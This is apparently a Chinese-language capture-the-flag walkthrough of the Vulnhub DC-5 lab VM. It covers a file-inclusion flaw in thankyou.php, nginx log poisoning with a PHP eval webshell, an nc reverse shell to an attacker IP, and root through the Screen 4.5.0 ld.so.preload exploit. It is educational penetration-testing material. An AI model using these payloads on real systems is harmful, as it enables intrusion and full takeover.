DC-5-screen提權

NoCirc1e發表於2024-05-04

Vulnhub簡介

Vulnhub是一個提供了很多漏洞環境的靶場平臺,其中的環境基本上都是做好的虛擬機器映象檔案,需要使用VMware或者是VirtualBox執行。每個映象會有破解的目標,大多是Boot2root,從啟動虛擬機器到獲取作業系統的root許可權和檢視flag。

靶場部署

vulnhub官網https://www.vulnhub.com/
1、直接從官網下載做好的虛擬機器映象檔案(推薦下載Mirror版本);
2、解壓會得到一個.ova的檔案,然後在VMware中開啟即可;

DC-5簡介

DC-5是另一個專門建造的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。據我所知,只有一個可以利用的入口點(也沒有SSH)。這個特定的入口點可能很難識別,但它確實存在。你需要尋找一些不尋常的東西(一些隨著頁面的重新整理而改變的東西)。這將有望為漏洞可能涉及的問題提供一些思路。這個挑戰的最終目標是獲得root許可權並閱讀唯一的flag。
下載地址:https://www.vulnhub.com/entry/dc-5,314/

資訊收集

1.探測靶機地址

arp-scan -l

image.png

2.探測靶機開放埠

image.png
111埠沒有什麼可以利用的點,只有80埠了,訪問一下80埠
得知:網站使用的是Nginx的中介軟體,php語言
image.png在Contact頁面發現一個有互動的地方
image.png
在Contact模組下可以留言,隨便填寫一下提交
發現重新整理頁面會更新頁尾
image.png

3.dirsearch掃描

dirsearch是一個基於python的命令列工具,旨在暴力掃描頁面結構,包括網頁中的目錄和檔案。

apt-get install dirsearch
dirsearch -u http://192.168.75.157

image.png
掃描到thankyou.php檔案和footer.php,訪問一下footer.php,發現該檔案的內容就是之前提交之後下方顯示的時間,這樣的話thankyou.php中應該包含了footer.php,所以thankyou.php檔案應該是存在檔案包含漏洞
image.png

檔案包含漏洞的利用

什麼是本地檔案包含(LFI)漏洞?


LFI允許攻擊者透過瀏覽器包含一個伺服器上的檔案。當一個WEB應用程式在沒有正確過濾輸入資料的情況下,就有可能存在這個漏洞,該漏洞允許攻擊者操縱輸入資料、注入路徑遍歷字元、包含web伺服器的其他檔案。
(詳細瞭解請訪問:https://www.bugku.com/thread-19-1-1.html
我們用burpsuite遍歷一下變數名,得知是file
image.png
file確實是檔案包含的引數,這是一個Linux系統
除了這樣驗證,還可以使用PHP偽協議讀取thankyou.php程式碼來檢視是否存在檔案包含漏洞

http://192.168.75.157/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

image.png

Nginx日誌檔案寫入shell

讀取nginx配置檔案資訊,發現nginx日誌記錄檔案路徑

#nginx配置檔案路徑 /etc/nginx/nginx.conf
#nginx日誌檔案路徑
/var/log/nginx/error.log
/var/log/nginx/access.log

image.png
透過包含nginx日誌getshell,nginx在linux下的預設路徑/var/log/nginx/,先在thankyou.php中file引數輸入一句話

thankyou.php?file=<?php @eval($_POST[8]);?>

而這句話會引起報錯thankyou.php報錯,這個時候再去包含error.log,即可成功getshell
image.png
image.png

反彈shell

反彈shell,由於目標環境存在nc,直接nc反彈

nc -e /bin/bash 192.168.75.150 4444

image.png
成功得到shell,切換到bash外殼

python -c 'import pty;pty.spawn("/bin/bash")'

image.png

提權

查詢具有SUID許可權的檔案

#這兩個命令都可以查詢
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

suid用來提權的一般有:nmap 、vim、 find、 bash、 more 、less、 nano 、cp
但是都沒有這些命令,有一個奇怪的screen-4.5.0,所以可以用這個來提權


GNU Screen是一款由GNU計劃開發的用於命令列終端切換的自由軟體。使用者可以透過該軟體同時連線多個本地或遠端的命令列會話,並在其間自由切換。
GNU Screen可以看作是視窗管理器的命令列介面版本。它提供了統一的管理多個會話的介面和相應的功能。
image.png
使用命令searchsploit來查詢漏洞利用的指令碼

searchsploit screen 4.5.0

image.png
檢視一下指令碼的使用

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh

大概的步驟是分別將兩部分的c程式碼編譯為可執行檔案,然後將其上傳靶機,按照提示的命令進行提權
第一步
將第一部分的c程式碼放入libhax.c檔案中進行編譯
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
將第二部分c程式碼放入rootshell.c檔案中進行編譯
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
將編譯好的可執行檔案上傳到靶機的tmp目錄下
第四步
按照指令碼提示的命令進行提權

步驟一

直接複製下面紅線框中的程式碼,然後再終端中輸入,就可以建立libhax.c和rootshell.c兩個檔案
image.png
image.png

步驟二

使用以下命令編譯c檔案

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

步驟三

將檔案傳輸到目標機的tmp資料夾(記得kali和靶機都是在tmp目錄下進行操作,因為tmp目錄的許可權很大)
image.png

步驟四

根據提權說明
首先輸入命令:cd /etc
然後輸入命令:umask 000
然後輸入命令:screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
然後輸入命令:screen -ls
最後輸入命令:/tmp/rootshell
成功提權

image.png
得到flag,在root目錄下
image.png

知識點總結

  1. 埠掃描,熟悉常見的埠
  2. 目錄掃描,工具有:御劍、dirsearch、DirBuster等等
  3. 檔案包含漏洞及其利用
  4. searchsploit命令的使用
  5. screen提權

相關文章